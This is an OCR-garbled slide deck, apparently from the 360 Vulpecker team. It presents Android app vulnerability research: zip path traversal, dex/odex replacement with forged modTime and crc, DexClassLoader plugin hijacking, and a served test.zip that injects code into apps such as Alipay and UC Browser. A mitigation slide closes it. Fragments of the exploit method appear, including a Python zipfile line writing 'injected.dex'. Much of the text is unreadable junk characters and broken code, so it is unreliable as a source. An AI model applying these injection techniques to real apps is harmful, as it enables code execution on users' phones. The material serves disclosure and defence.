180 DEBUG d28 412e848000000000 d29 0PO1000AEOO10000
180 DEBUG d30 00b7. 48000 d31
180 DEBUG scr 80000010
180 DEBUG backtrace:
180 DEBUG #00 pc 006028fe /data/app-lib/com.tencent.mtt-1/libmttwebcore.so

180 DEBUG #01 pc 008831cd /data/app-lib/com.tencent.mtt-1/libmttwebcore.so
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4. t1iEROP chain , BEREREEKISTT
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2 piRiE A[APRAIE6{7. Remote Code Execution as System User on Samsung Phones
2015568230 - EEMZ AT hitps//www.nowsecure.com/.../remote-code-execution-as-syste... v FHEILE
Galaxy E 4, FHISwiftKev i A&7 2015F6H 168 - The Swift keyboard comes pre-installed on Samsung devices and

HES R B ERE6R3=8 cannot be disabled or uninstalled. Even when it is not used as the default ...

www.ithome.com/html/it... + V1

Samsung's Swift Keyboard Update Mechanism Exposes ...
https://threatpost. com/samsungs-swift-keyboard.. /113348 ~ FhFikma

2015568178 - The Swift keyboard, installed by default on Samsung Android mobiles,

exposes devices to a host of remote attacks that could be executed by ...




X TAPKHIR 7K Y

2 5L N AR P apk SO R zip B4 #& UHI SO, apk SO HBL & i classes.dex ST
A 2 Fapp P A FUAT SCAE, Happia T g KA X classes. dexiFATHLAL, AR BT
W P odex A =) A

root@cancro:/data/dalvik-
--r-- system all al48 6337664 -08- - data@app@com.UCMobile-1.apk@classes.dex
-r-- system all a3 5728928 -08- - data@app@com.android.browser-1.apk@classes.dex
- system all alel 2422288 -06- :04 data@app@com.aoaogame.game5-1.apk@classes.dex

- system all a83 9143184 -08- :12 data@app@com.autonavi.minimap-1.apk@classes.dex
- system all a80 2820192 -07- - data@app@com.baidu.input-2.apk@classes.dex
- system all a82 9347688 -08- - data@app@com.eg.android.AlipayGphone-1.apk@classes.dex




A S I ANBE R

- ZhAINER
- REFHH

String dexFiles "/data/data/com.test.dexload/app_module/drozer.jar"
final File optimizedDexOutputPath = appcontext.getDir("outdex", ©
appcontext.getClassLoader

DexClassLoader classLoader new DexClasslLoader(dexFiles, optimizedDexOutputPath

getAbsolutePath null, ClasslLoader.getSystemClassLoader

:/data/data/com.eg.android.AlipayGphone # app_plugins_opt/

ub a82 ue_a82 267384 2015-08-10 21:44 android-phone-merchant-campuscard-1.3.6.1506111606.dex
ud a82 ue_a82 434072 2015-08-10 21:44 android-phone-merchant-citycard-citycard-1.3.0.1506241334.dex
ud a82 ub a82 108392 2015-68-16 21:44 libandroid-phone-bill-list.dex

ud a82 ue_a82 99624 2015-08-10 21:35 libandroid-phone-businesscommon-advertisement.dex
ud a82 ue a82 511712 2015-68-10 21:35 libandroid-phone-businesscommon-beehive.dex

ud a82 ue a82 534312 2015-08-10 21:35 libandroid-phone-businesscommon-h5container.dex
ud a82 ue a82 108056 2015-68-16 21:43 libandroid-phone-businesscommon-h5plugins.dex

ud a82 ub a82 236928 2015-08-10 21:43 libandroid-phone-businesscommon-hardwarepay.dex
ue_a82 ue_as82 154392 2015-08-10 21:35 libandroid-phone-businesscommon-nfc.dex

ud a82 ue a82 386056 2015-08-10 21:43 libandroid-phone-businesscommon-share.dex

ud a82 uo a82 120680 2015-08-10 - libandroid-phone-merchant-cityservice.dex

ud a82 ue a82 67584 2015-08-10 - libandroid-phone-merchant-industrycommon.dex

ud a82 ue a82 1114232 2015-08-10 :44 libandroid-phone-mobilecommon-mapbiz.dex

ue a82 ub a82 536432 2015-08-10 21:35 libandroid-phone-mobilecommon-multimediabiz.dex
ue a82 ub a82 422280 2015-08-10 21:36 libandroid-phone-mobilecommon-verifyidentity.dex
ud a82 uo a82 628264 2015-08-10 21:35 libandroid-phone-mobilesdk-mtop.dex

ud a82 ud a82 1568136 2015-08-10 21:35 libandroid-phone-mobilesdk-thirdpartyext.dex

ud a82 ub a82 683984 2015-08-10 R libandroid-phone-mobilesdk-transportext.dex

ud a82 ub a82 559576 2015-08-10 :43 libandroid-phone-personalapp-chatapp.dex

ue a82 ub a82 707920 2015-08-10 21:35 libandroid-phone-personalapp-socialsdk.dex

ud a82 ub a82 368400 2015-08-10 3 libandroid-phone-securityapp-clientsecurity.dex
ud a82 ub a82 138840 2015-08-10 :43 libandroid-phone-securityapp-mobileotp.dex

ud a82 ub a82 85632 2015-08-10 s libandroid-phone-thirdparty-weibosdk.dex

ue a82 ud a82 309552 2015-08-10 21:44 libandroid-phone-wealth-tally.dex




FHEEAO

« ZipfREEIRTRE

jc@jc-79:~/zipTestS unzip -1 1.zip
Archive: 1.zip

ZipEntry.getName% & 1L J€”../” Date Time  Name

../1.txt

« DexClassLoader ] ZZF R4 IR

fd = dvmOpenCachedDexFile(fileName, |cachedName

dvmCheckOptHeaderAndDependencies(fd, true,|modWhen, crc

expectVerify, expectOpt

jc@jc-79:~/odex$ md5sum dex_old.dex dex_new.dex
cffed765a66¢cbefc5f3b2b8df05c03e dex_old.dex
655975f01649e258195dd9eacff9743f dex_new.dex

jc@jc-79:~/odex$ python print_odex_info.py dex_old.dex

modTime: 0x46d05e45

crc: 0x9646ab9%a

jc@jc-79:~/odex$S python print_odex_info.py dex_new.dex
modTime: 0x46d05e45

crc: 0x9646ab9a




exploit

Bidex, 4 JKodex
Dalvikvm, AN[EIALAEAC

2
2. EXodex
0000nh: 64 65 79 0OA 30 33 36 00 28 00 00 00 68 25 07 00

0010n: |90 p5 07 00|Dé6 01 00 00 68 27 07 00 60 AB 00 00
0020n: (00 00 00 OONgD E7 45 BE 64 65 78 OA 30 33 35 00

modT ime crc
:2590h:|45 SE D0 46”9A 4B 46 96|lB

:25a0nh: 1C 00 2F 713 19 13|74
:25B0h: 65 77 6F 72 6B 2F 63 6F 72
:25C0h: 74 55 2B 69 7A 27 65 ED 54
:25D0nh: AF 7B 39 76 22 00 00 00 2F
:25E0h: 66 72 61 6D 65 77 6F 72 6B

ST R N |

4 Bizip SCAF

zf - zipfile.ZipFile(" te>t "lD .

"

zf.write("injected.dex",

00
65
65
6D
73
2F

00
6D
2E
E3
79
63

00
2F
6F
B4
73
6F

o8
66
64
77
74
72

00
72
65
B7
65
65

00
61
78
BA
6D
2D

00
6D
00
85
2F
&R




E61 SEMERSDK

-~ private static void Hecompress ( argl0, St argll, long argl2, ZipCompressProgressListener
< THRERE HHsI= Bz argld4, UnZipFileBrake argl5) throws ion {
int vo_1;

int v8 = 0;
. while (true) {
Q vl = argll.getNextEntry():
if(vl != null) {
if(arglS != null s& (arglS.mIsAborted)) {
MR argll.closeEntry():
return;

Bld- 7]

.separator + vi.getlame());

v0.mkdirs():
LEHEE , -
L }
else (
v0_1 = ZipUtils.decompressFile(v0, argll, ((long)ve), argl2, argld, argls) + v&;

}
tigmh i argll.closeEntry():
ve = v0.1;
continue;
) }
I 7]

return;
sl

&R . public boolean verifyPluginFile(File arg2) {

return 1;

i - }

>
&
X

BE®

root@cancro:/data/data/com.autonavi.minimap #
m.autonavi.user/ <

ud a83 ub a83 1291976 2015-08-12 11:12 com.autonavi.user pl.apk
-Mw-r--r-- ud a83 u0 a83 2634232 2015-08-12 11:12 com.autonavi.user pl.dex




B2 SNERERICHF

<intent-filter>
<action android:n
<category
<data
<data
<data />

</intent-filter>

wbadcache

xueba

Werw

360Browser
1268 15114

360cz
08
360Download

v + Q = x

<intent-filter>
<action android:n
<category androi
<category andro
<data android:
<data android:hos
<data android:hos

</intent-filter>

@ ==

AT X ERREIERER!
RERENA?

BUH

/>



2453 UCHizse

root@cancro: /data/data/com.UCMobile # 11 com/

L£510:36 UOia 148
uv alas
v http://10.18.25.18/ ue al4s
Directory listing for /
* test.zip
ue al4s
ue alds
ue al4s
uo al4s
ue al4s
TahEn i ue al4s

X4 :test.zip
KINATK & &2

ud al4s
uv alss
ud al4s
ud al4s
ud al4s
ud al4s
ud al4s
ud al4s
ud al4s
ud al4s
uo al4s
ud al4s
ud al4s
ud al4s
ud al4s
ud al4s
ud al4s

2015-08-12
2015-08-12
2015-08-12
2015-08-12
2015-08-12
2015-08-12
2015-08-12
2015-08-12
2015-08-12
2015-08-12
2015-08-12
2015-08-12
2015-08-12
2015-08-12
2015-08-12
2015-08-12
2015-08-12

alipay

20 barcode

bookmark
browser if
cloudsync
core
filemgr
location
novel
picview
ppupgrade
sdk shell
share
shenma
tae

tgv

video
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Fodex BT
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 ZipREGEIRIR, T8, BEE AT

* adb backup, allowBackup="false”

o OdexNNEfFfEFEsdcard
Xtodex 3CAFHAT SEEMER LS
o BIREFAE Hodex

o HftiodexfB5 B, MEMBIRL:



360 vulpecker Team:

@RAyH4c
@sniperhg
@zpd2009




Thanks!




